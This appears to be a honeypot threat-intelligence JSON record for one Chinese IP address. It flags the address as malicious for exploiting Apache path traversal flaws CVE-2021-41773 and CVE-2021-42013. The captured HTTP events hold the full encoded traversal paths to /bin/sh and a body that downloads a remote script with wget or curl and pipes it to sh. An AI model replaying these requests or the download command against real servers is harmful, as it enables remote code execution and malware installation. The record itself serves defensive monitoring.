{"ip":"223.83.183.254","observed":true,"total_events":3,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 exploit-path hits","confidence":"medium","network_type":null,"why":["2 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","Under 5 hits, so confidence is medium.","Not in any known-scanner range.","Held a session open for 60s, against a median of well under a second.","Counts include 1 interactive session(s) as well as first-packet events."],"engagement":{"level":"request","label":"Request traffic, held open","detail":"1,159 bytes sent, longest session 60s","bytes_sent":1159,"session_seconds":60,"persistent":true},"basis":"combined"},"first_seen":"2026-09-22T09:18:53","last_seen":"2026-10-15T07:45:46","events_24h":0,"events_7d":1,"interactive_sessions":1,"interactive_sessions_24h":0,"interactive_sessions_7d":1,"interactive_protocols":[{"protocol":"ssh","sessions":1}],"geo":{"country_code":"CN","country_name":"China","region":"","city":"","lat":34.7732,"lon":113.722,"asn":56045,"org":"China Mobile communications corporation"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","kev_date_added":"2021-11-03"},{"cve_id":"CVE-2021-41773","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","kev_date_added":"2021-11-03"}],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":1,"first_seen":"2026-10-15T07:45:46","last_seen":"2026-10-15T07:45:46","verdicts":[{"verdict":"unknown","sessions":1}],"personas":[{"persona":"linux-ubuntu@20.04","sessions":1}],"services":[{"protocol":"ssh","port":2222,"sessions":1}],"logins":[],"commands":[],"downloads":[],"files":[],"attack":[]},"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":2,"sessions":0},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1,"sessions":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq070_00050835_c0b30902"],"interactive":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"b11cuq070_00050835_c0b30902":211},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-22","count":2,"sessions":0},{"date":"2026-10-15","count":1,"sessions":1}],"recent_events":[{"timestamp":"2026-10-15T06:57:53","port":2222,"proto":"tcp","app_proto":"","app_protocol":"ssh","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"SSH-2.0-libssh2_1.11.1\r\n","payload_hex":"5353482d322e302d6c6962737368325f312e31312e310d0a","method":"","user_agent":"","ja3":"","session":"cb87ca62-c93a-4481-9c78-1591c328c0ff","seq":1,"duration_ms":2102,"bytes_in":24,"bytes_out":14,"enriched":{"digest":"216fab6b63b6535b","label":"SSH","strings":["SSH-2.0-libssh2_1.11.1"]}},{"timestamp":"2026-09-22T09:19:01","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"111\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"(wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f25253332253635252533322536352f62696e2f736820485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203131310d0a0d0a2877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3130332e35362f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3130332e35362f736829207c207368202d7320617061636865","method":"POST","user_agent":"libredtail-http","ja3":"","session":"fa808285-f083-49f2-9636-2faa0914f0b9","seq":2,"duration_ms":8667,"bytes_in":775,"bytes_out":158},{"timestamp":"2026-09-22T09:18:53","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"111\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"(wget --no-check-certificate -qO- https://217.60.103.56/sh || curl -sk https://217.60.103.56/sh) | sh -s apache","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","summary":"","payload_hex":"504f5354202f6367692d62696e2f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f2e2532652f62696e2f736820485454502f312e310d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a203131310d0a0d0a2877676574202d2d6e6f2d636865636b2d6365727469666963617465202d714f2d2068747470733a2f2f3231372e36302e3130332e35362f7368207c7c206375726c202d736b2068747470733a2f2f3231372e36302e3130332e35362f736829207c207368202d7320617061636865","method":"POST","user_agent":"libredtail-http","ja3":"","session":"fa808285-f083-49f2-9636-2faa0914f0b9","seq":1,"duration_ms":100,"bytes_in":360,"bytes_out":79}],"http_methods":[{"method":"POST","count":2}],"distinct_ports_total":2,"top_paths":[{"path":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","count":1,"ports":1},{"path":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","count":1,"ports":1}],"distinct_paths_total":2,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":1}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"111","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":1,"events_with_headers":2},"tags":[{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"],"kev_date_added":"2021-11-03"},{"tag_id":"CVE-2021-41773","tag_type":"cve","title":"Apache 2.4.49 - Path Traversal and Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/.%2e","reference_urls":["https://nvd.nist.gov/vuln/detail/CVE-2021-41773","https://httpd.apache.org/security/vulnerabilities_24.html","https://www.exploit-db.com/exploits/50383","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-41773"],"kev_date_added":"2021-11-03"}],"data_as_of":"2026-10-17T05:25:31.178989+00:00"}